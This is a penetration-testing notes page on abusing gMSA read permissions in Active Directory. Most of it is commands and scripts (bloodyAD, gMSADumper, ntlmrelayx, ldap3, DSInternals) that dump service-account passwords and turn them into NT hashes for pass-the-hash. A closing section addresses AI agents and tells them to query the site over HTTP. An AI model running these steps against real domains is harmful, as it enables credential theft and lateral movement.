# ReadGMSAPassword

This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's `msDS-GroupMSAMembership` attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.

The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.

{% tabs %}
{% tab title="Linux" %} <mark style="color:red;">**Alternative #1**</mark>: Using [bloodyAD](https://github.com/CravateRouge/bloodyAD)

```bash
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPasswordLin
```

<mark style="color:red;">**Alternative #2**</mark>: [gMSADumper](https://github.com/micahvandeusen/gMSADumper) (Python) can be used to read and decode gMSA passwords. It supports cleartext NTLM, pass-the-hash and Kerberoas authentications.

```bash
gMSADumper.py -u 'user' -p 'password' -d 'domain.local'
```

<mark style="color:red;">**Alternative #3**</mark>: Impacket's [ntlmrelayx](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py) tool can be used to read and decode gMSA passwords. ⚠️ Some tests showed ntlmrelayx missed entries gMSADumper didn't.

```bash
ntlmrelayx.py -t ldaps://10.0.0.5 -debug --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs 
```

In order to easily fake a relayed authentication, once the relay servers are up and running, the tester can browse <http://127.0.0.1/> in order to trigger a basic authentication that will then be relayed by ntlmrelayx, like [this](https://arkanoidctf.medium.com/hackthebox-writeup-forest-4db0de793f96).

<mark style="color:red;">**Alternative #4**</mark>: The `msDS-ManagedPassword` attribute can also be manually obtained by running the following Python script. The [following code](https://github.com/SecureAuthCorp/impacket/blob/3f3002e1c1dd78a5ee6100d6824ff7b65bbb92b6/impacket/examples/ntlmrelayx/attacks/ldapattack.py#L672-L702) can then be used to decode the blob.

```python
import ldap3
target_dn = "" # something like 'CN=Target User,OU=Standard Accounts,DC=domain,DC=local'
domain = "domain"
username = "username"
user = "{}\\{}".format(domain, username)
password = "password"
server = ldap3.Server(domain)
connection = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
connection.bind()
connection.search(target_dn, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])
print(connection.entries)
```

{% endtab %}

{% tab title="Windows" %} <mark style="color:red;">Alternative #1</mark>: Use the Active Directory and DSInternals PowerShell modules.

```powershell
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'Target_Account' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
# Build a NT-Hash for PTH
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
# Alterantive: build a Credential-Object with the Plain Password
$cred = new-object system.management.automation.PSCredential "Domain\Target_Account",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
```

<mark style="color:red;">Alternative #2</mark>: Relies on [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) (C#).

```powershell
.\GMSAPasswordReader.exe --AccountName 'Target_Account'
```

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/active-directory/dacl-abuse/readgmsapassword.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.